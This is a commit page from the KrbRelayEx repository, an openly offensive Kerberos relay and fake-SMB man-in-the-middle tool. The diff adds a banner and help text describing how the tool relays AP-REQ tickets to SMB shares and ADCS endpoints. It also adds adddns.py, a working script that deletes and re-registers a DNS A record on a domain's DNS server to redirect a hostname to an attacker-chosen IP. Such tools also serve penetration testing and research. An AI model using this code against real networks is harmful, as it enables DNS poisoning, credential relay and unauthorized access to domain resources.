Skip to content

Commit f44e4de

Browse files
author
Andrea Pierini
committed
comm6
1 parent ef14d1d commit f44e4de

2 files changed

Lines changed: 62 additions & 17 deletions

File tree

‎KrbRelayEx/Program.cs‎

Lines changed: 27 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,6 @@ internal class Program
4747
public static int DcomListenerPort = 9999;
4848
public static string service = "";
4949
public static string[] RedirectPorts = null;
50-
private static TcpListener server;
51-
private static TcpClient myclient;
5250
public static byte[] AssocGroup = new byte[4];
5351
public static byte[] CallID = new byte[4];
5452
//public static TcpForwarder tcpFwd = new TcpForwarder();
@@ -212,21 +210,37 @@ public static byte[] StringToByteArray(string hex)
212210
public static CookieContainer CookieContainer = new CookieContainer();
213211

214212
//hooked function
213+
private static void PrintBanner()
214+
{
215+
Console.WriteLine("");
216+
Console.WriteLine("██╗ ██╗██████╗ ██████╗ ██████╗ ███████╗██╗ █████╗ ██╗ ██╗███████╗██╗ ██╗");
217+
Console.WriteLine("██║ ██╔╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██║ ██╔══██╗╚██╗ ██╔╝██╔════╝╚██╗██╔╝");
218+
Console.WriteLine("█████╔╝ ██████╔╝██████╔╝██████╔╝█████╗ ██║ ███████║ ╚████╔╝ █████╗ ╚███╔╝");
219+
Console.WriteLine("██╔═██╗ ██╔══██╗██╔══██╗██╔══██╗██╔══╝ ██║ ██╔══██║ ╚██╔╝ ██╔══╝ ██╔██");
220+
Console.WriteLine("██║ ██╗██║ ██║██████╔╝██║ ██║███████╗███████╗██║ ██║ ██║ ███████╗██╔╝ ██╗");
221+
Console.WriteLine("╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝");
215222

223+
}
216224
private static void ShowHelp()
217225
{
218226

219-
220-
Console.WriteLine("\t############# KrbRelayEx by @decoder_it ##############");
221-
Console.WriteLine("\t# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #");
222-
Console.WriteLine("\t# v1.0 2024 #");
223-
Console.WriteLine("\t# Github: https://github.com/decoder-it/KrbRelayEx #");
224-
Console.WriteLine("\t# Credits: https://github.com/cube0x0/KrbRelay #");
225-
Console.WriteLine("\t###############################################################");
226227

228+
PrintBanner();
229+
Console.WriteLine("\r\r################################################################################");
230+
Console.WriteLine("# #");
231+
Console.WriteLine("# KrbRelayEx by @decoder_it #");
232+
Console.WriteLine("# #");
233+
Console.WriteLine("# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #");
234+
Console.WriteLine("# #");
235+
Console.WriteLine("# v1.0 - 2024 #");
236+
Console.WriteLine("# #");
237+
Console.WriteLine("# Github: https://github.com/decoder-it/KrbRelayEx #");
238+
Console.WriteLine("# #");
239+
Console.WriteLine("################################################################################");
227240

228241
Console.WriteLine();
229242
Console.WriteLine("Description:");
243+
230244
Console.WriteLine(" KrbRelayEx is a tool designed for performing Man-in-the-Middle (MitM) attacks and relaying Kerberos AP-REQ tickets.");
231245
Console.WriteLine(" It listens for incoming SMB connections and forward the AP-REQ to the target host, enabling access to SMB shares or HTTP ADCS (Active Directory Certificate Services endpoints)");
232246

@@ -298,13 +312,12 @@ private static void ShowHelp()
298312

299313
public static void Main(string[] args)
300314
{
301-
string clsid = "";
315+
316+
302317

303-
int sessionID = -123;
304-
string port = "9988";
305318
bool show_help = false;
306-
bool llmnr = false;
307-
Guid clsId_guid = new Guid();
319+
320+
//Guid clsId_guid = new Guid();
308321

309322
foreach (var entry in args.Select((value, index) => new { index, value }))
310323
{
@@ -521,9 +534,6 @@ public static void Main(string[] args)
521534
domainDN = domainDN.TrimStart(',');
522535
}
523536

524-
if (!string.IsNullOrEmpty(clsid))
525-
clsId_guid = new Guid(clsid);
526-
527537
//
528538
//setUserData(sessionID);
529539
string pPrincipalName;

‎adddns.py‎

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
from ipaddress import IPv4Network, IPv4Address
2+
from colorama import Fore, Style
3+
from uuid import uuid4
4+
import dns.resolver
5+
import dns.update
6+
import dns.query
7+
import dns.rcode
8+
import importlib
9+
import random
10+
import socket
11+
import queue
12+
13+
import argparse
14+
parser = argparse.ArgumentParser(description=" domain, dnip, hostname, and hostip arguments.")
15+
16+
parser.add_argument("--domain", required=True, help="Specify the domain name.")
17+
parser.add_argument("--dnsip", required=True, help="Specify the domain's IP address.")
18+
parser.add_argument("--hostname", required=True, help="Specify the hostname.")
19+
parser.add_argument("--hostip", required=True, help="Specify the host's IP address.")
20+
21+
args = parser.parse_args()
22+
23+
# Access the arguments
24+
domain = args.domain
25+
dnsip = args.dnsip
26+
hostname = args.hostname
27+
hostip = args.hostip
28+
delete = dns.update.Update(domain)
29+
delete.delete(hostname)
30+
response = dns.query.tcp(delete, dnsip, timeout=10)
31+
print(response.rcode())
32+
add = dns.update.Update(domain)
33+
add.add(hostname, 300, "A", hostip)
34+
response = dns.query.tcp(add, dnsip, timeout=10)
35+
print(response.rcode())

0 commit comments

Comments
 (0)